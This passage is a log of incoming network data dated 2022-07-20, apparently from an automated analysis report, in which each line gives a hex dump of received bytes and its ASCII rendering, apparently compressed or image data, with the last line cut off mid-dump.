2022-07-20 04:06:51 UTC	4643	IN	Data Raw: 82 c3 6b 13 60 cc 0b 48 f6 f5 72 e5 5c f2 00 b7 90 e9 d9 de a1 7d 57 92 b0 64 cb 10 6e 8c ca 90 5c c7 89 95 59 ae 4c 79 7f cc 8a 45 e5 74 7f c3 ea 7b ba ac c2 9f 37 2d 17 c3 0f 07 ea 39 a9 7e 3c c2 d5 11 f4 be 1b 7f 0b ca dc 9a 89 6c c9 f7 7c f9 b2 b9 31 f2 b0 c4 2a cc dc 55 9c 33 c3 d6 41 4e eb 75 95 e1 d7 43 c3 89 23 09 88 f3 07 a4 2b 58 b8 57 96 8a d2 f9 ec 6f 7b 5e 7f 79 68 a2 44 20 66 07 37 7a dc a9 96 3f e2 a9 24 00 16 a3 f7 6d e3 0a 28 a4 c8 81 1c 65 05 78 9e d7 51 73 77 5a 96 16 66 b9 ae e9 d9 a5 5b 2c b8 d9 57 2b ab 9a dc 8a ad f4 35 bd 40 d6 f2 de cd e3 6f e5 fc 7a 64 7d 34 90 cb f9 60 8b 21 ea 84 21 41 ba cb ae ea 49 cb c9 72 bf e2 f7 6f ee fe 1e 95 6e 5b 7e 7c 30 c9 16 db 1b 45 59 13 8a ab 95 16 dc ac 9d 59 2e e4 e4 4f fc ba 76 21 09 4f 2d 18 Data Ascii: k`Hr\}Wdn\YLyEt{7-9~<l\|1*U3ANuC#+XWo{^yhD f7z?$m(exQswZf[,W+5@ozd}4`!!AIron[~\|0EYY.Ov!O-
2022-07-20 04:06:51 UTC	4659	IN	Data Raw: 19 96 ac c7 f8 4b dd 55 8f 55 d9 ec 9b 72 6c 58 dc 90 97 f7 ea 8d 76 23 b4 9f 4d 55 67 4a 5b 76 81 cc 64 c7 2e 3b 40 5a 94 1d 4a f5 2d f8 51 2e be 4f 3b a2 68 b3 8e 99 72 2e 24 85 5b 27 18 07 57 62 28 6a 2d 49 a3 45 f1 7c 5d cd 08 77 28 76 dc 61 24 6a c1 fa a1 a5 90 10 c4 87 6f 9c e7 c4 fc ba cb 33 16 1c 77 39 db 73 08 88 8c a0 49 05 40 51 df 58 23 f0 b7 97 9a c4 f2 eb d5 9d 9e da 19 0c d2 d9 d9 63 8d 57 4c 97 cb 4f c9 77 f7 fc bf fc 4f e6 73 d1 55 1d 5c 80 2c 6d ca 7d 3f 44 af 22 8a 7c 77 c9 95 4b 64 17 60 28 ad c0 10 a1 59 46 87 c8 c4 dc 16 63 b8 ab 08 a4 8d 4f 21 17 23 03 fc 26 44 6f fd cd 05 b4 cf 95 b6 ac a3 22 c0 8e dd 54 71 c4 73 72 fc de 37 37 2f eb 69 cf e6 32 81 6c 9c 73 1c b0 95 0c 62 1d ea 0e f7 37 89 b5 e5 e7 9b cb dc c8 c8 b1 ca 8e 5b 13 2f Data Ascii: KUUrlXv#MUgJ[vd.;@ZJ-Q.O;hr.$['Wb(j-IE\|]w(va$jo3w9sI@QX#cWLOwOsU\,m}?D"\|wKd`(YFcO!#&Do"Tqsr77/i2lsb7[/
2022-07-20 04:06:51 UTC	4675	IN	Data Raw: 0a 0f e9 e2 f1 b6 8a ce 9e 6d ef 25 15 17 9a 34 0a d4 f1 38 e5 76 fb dd df 75 75 af 37 26 2d a2 36 8d 7e 6e 42 28 32 84 e2 22 1e 1e cf 1e b0 e0 88 a3 70 ca 67 ec ff 00 2d 5b e9 d5 f0 d3 3c 8f 66 27 f2 53 55 f6 f1 ef 50 f8 91 e0 e4 64 ca 32 1d e6 68 16 ad 1a 35 2e 6f 2d 7f cb f1 eb 5e 4e 5e 3e 2c 67 25 eb 1c d5 25 45 fd ef 2a 2f 8b e5 f9 ed d2 ad 95 70 f6 ec c5 cf 91 84 31 4c 09 8e 40 5a b7 57 99 19 0a f8 be 2e 4d 23 de f7 03 b8 65 be 43 77 a4 63 45 1e c1 e0 1e ef 2e b5 44 1e 64 82 31 7f 2d 07 55 b1 bb 77 d3 ee ff 00 d3 ae 8e 52 e3 23 a1 e1 8a f0 5f 0f c7 55 18 5b c4 b9 f2 24 b2 c8 10 86 a0 04 50 30 f6 f5 3c 5f 77 fb 9a ab db 37 4f f4 b7 92 27 66 31 34 97 0a 21 21 6e f0 b3 47 77 ee eb 9c c1 8e c2 58 d1 6a 2d a2 8a 76 d7 c5 d9 cd de d7 45 d9 b6 79 f0 62 4c Data Ascii: m%48vuu7&-6~nB(2"pg-[<f'SUPd2h5.o-^N^>,g%%E*/p1L@ZW.M#eCwcE.Dd1-UwR#_U[$P0<_w7O'f14!!nGwXj-vEybL
2022-07-20 04:06:51 UTC	4683	IN	Data Raw: b7 ed 31 c7 16 56 06 4c 0e 49 24 95 0b 5f a5 82 fc 9b be 1f 0e bc 7c 7c 25 71 8c 23 75 25 79 64 26 d6 8d 90 99 a3 c9 e5 36 b5 ac b7 f7 be c6 a9 9b 23 17 7a 11 4b 96 7a 86 2f 97 2a 22 97 01 fc f1 d5 5b e5 cd fc 29 3c 71 fe aa 5b 87 db b0 19 42 71 d4 9c 1d d7 dc c5 79 ea c0 64 6f 73 48 e2 f5 b6 cd b8 a3 ca f9 3d 39 83 8e 59 41 02 c3 dd 48 b8 37 77 c4 d7 59 a7 f8 b0 2e 4a 99 63 65 92 2a 54 b2 10 c0 0f 7a df 0e a7 b7 ef f6 f3 6f dd 91 9f 64 5e 96 51 72 4c 4c 4d b4 03 99 0a 37 e1 b5 dd df b9 6e a7 30 b0 f6 a7 94 6d b9 f1 4b b3 6e 24 db d4 8d d9 12 4e 36 f7 1e f8 d6 ef fd 3d 5a 4d ae da 58 84 9b 72 e1 56 ea c3 0c 99 7d ac 7f 2d fe ca bf 2d 41 4d 2f 70 47 a7 d1 ef 55 df a6 36 3e 9e 44 f3 46 a3 f2 b2 4a 42 5c 38 95 5e e7 c3 1f 57 4f b7 a7 54 c7 90 ba 97 11 83 70 Data Ascii: 1VLI$_\|\|%q#u%yd&6#zKz/"[)<q[BqydosH=9YAH7wY.JceTzod^QrLLM7n0mKn$N6=ZMXrV}--AM/pGU6>DFJB\8^WOTp
2022-07-20 04:06:51 UTC	4699	IN	Data Raw: c9 16 e1 26 46 e3 87 1f cf 80 53 22 36 35 b6 ef e3 47 e6 85 fc 5f cb d2 6c 66 9b 70 c3 9e 69 23 0b 06 38 b5 48 3c 39 8d af 17 da f7 7b 9a e4 2b e4 93 3b a4 6b 20 5f 28 86 cb 06 7e ee 5c bf 0d 0d e4 94 32 aa 2b 17 8f 26 93 ba 1a 3b d2 ae 87 e7 31 eb 0f 2a ab f2 83 c0 0d 1b b6 e5 65 43 2b d6 11 2a 98 7a 72 28 1d e5 07 b6 3f 7f 58 66 b2 ed d1 21 82 e1 03 10 6f 04 32 dd fc b9 74 77 a5 67 c7 dd f3 18 3c 04 38 8e 52 4d c6 8a d6 f2 b7 bb cd a0 c5 b8 7d ac 52 4f 62 c8 05 d4 b7 56 29 45 25 e4 70 08 d0 75 63 cc da d4 ff 00 5b 0d 5d 9a 22 45 5e a5 59 68 79 4d cb f6 b5 47 b7 18 b7 5b ef b4 5c 86 c6 27 b1 81 f1 46 35 2f 93 8f 25 c2 46 37 09 2a 5d 89 e3 5f 15 7e 2d 3d d9 b6 c1 ba e3 bb 6d 2e 17 2a 2a b3 47 5e f0 1f c9 f1 5f ee 6a fb b8 a3 99 d5 ec cc 78 f2 72 26 35 31 Data Ascii: &FS"65G_lfpi#8H<9{+;k _(~\2+&;1eC+zr(?Xf!o2twg<8RM}RObV)E%puc[]"E^YhyMG[\'F5/%F7]_~-=m.*G^_jxr&51
2022-07-20 04:06:51 UTC	4715	IN	Data Raw: 19 38 41 55 22 e9 89 5a d6 78 d4 52 d3 cc f7 4b 1f 75 5a db 74 cf 6c 8c b1 68 e2 99 95 dd 8d c4 2f 2d 38 2d 21 f0 ad bd d4 d3 5d b7 05 23 37 43 93 23 48 f5 63 71 ed af 83 a7 dd 5f b3 ad 1b be 60 db dd 01 17 3b 82 40 5f a0 7b 4f 97 49 19 9a 4f cb 02 e7 5d 6d c7 ed d1 32 05 46 3f 5e 94 da 2e 86 de 94 8d 40 3e d3 da c7 cc d7 68 68 bd 41 8f 39 6b 49 e5 e0 41 e0 41 fa f4 b9 b7 28 15 10 64 82 a1 d4 b1 35 ee af d2 ce de 6d 60 b0 61 66 a8 30 49 1b a8 e3 ec e1 a5 c4 0b a9 94 36 bd ea bd d8 f1 a6 a9 bb 42 cc 48 e2 07 d1 c4 eb 4e 46 e1 99 90 4a 61 a4 4c 48 e5 59 1e c2 4f 87 be 9d 3b 7e de 83 8e 6c 4c 4e 0f 2c 61 6b ec e3 fa ab ad 1b d6 68 10 c7 91 b6 b2 c9 10 34 91 b8 12 ac 7b b7 44 eb 76 af 1c 2b e6 2f 25 c1 f1 f4 50 5e 47 45 2c 39 8a eb 88 ea a4 13 63 7a 88 ca b0 Data Ascii: 8AU"ZxRKuZtlh/-8-!]#7C#Hcq_`;@_{OIO]m2F?^.@>hhA9kIAA(d5m`af0I6BHNFJaLHYO;~lLN,akh4{Dv+/%P^GE,9cz
2022-07-20 04:06:51 UTC	4723	IN	Data Raw: 45 1e 04 dd 38 32 a2 cb 89 94 30 78 c3 0f b2 e9 28 56 57 d7 41 f5 57 fb 2a f8 ab f9 bd 8a 57 9e 31 c4 c0 e6 ad 4f f2 1b 95 5f e0 e5 d7 2b 78 9a 16 68 dc 15 65 24 15 61 42 08 fa 46 b6 37 1b 38 13 6e 4c 28 65 16 c7 3b eb 0f bc bf c4 f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f Data Ascii: E820x(VWAWW1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q=LxQePG^WWOV6md[s%w\|~\iNG52M
2022-07-20 04:06:51 UTC	4739	IN	Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 Data Ascii: 1&W)R[q5n&f\|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w}Z"]!S9Q7K/
2022-07-20 04:06:51 UTC	4755	IN	Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 Data Ascii: nc>>4RcB/m\|Mdxmxtfdt~4M%V=Cm s$XTY<W\|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}rG$_E@^6~U6{
2022-07-20 04:06:51 UTC	4763	IN	Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^\|</=x%/ily{AX;X.{C93v)_wVEbCHv-\|\|JniIPF/b*_~nIqB@yc^[Se
2022-07-20 04:06:51 UTC	4779	IN	Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx\|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon
2022-07-20 04:06:51 UTC	4795	IN	Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E\|:WS$e9)^L`9tvK-#i_ODgO:1 gDIcyNmmNuyhR+]{;I*7By\|\a
2022-07-20 04:06:51 UTC	4802	IN	Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 Data Ascii: 9\|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWxh0vY)Q2ZQ_vYh0c1
2022-07-20 04:06:51 UTC	4818	IN	Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f\|xeM{+d~_hYTXfZ6+q5v{8` Of~
2022-07-20 04:06:51 UTC	4834	IN	Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o_ZFE"KvyYZ]`G4{Pp
2022-07-20 04:06:51 UTC	4842	IN	Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/\|Yc_a9b(xNnO{Sr6V\t^\G9uiU!__}E5EpbTFIIZ
2022-07-20 04:06:51 UTC	4858	IN	Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3 01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)R/X*trrFR3$5S
2022-07-20 04:06:51 UTC	4874	IN	Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6X1EDM
2022-07-20 04:06:51 UTC	4882	IN	Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw\|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z)pf({WGb$.8;
2022-07-20 04:06:51 UTC	4898	IN	Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 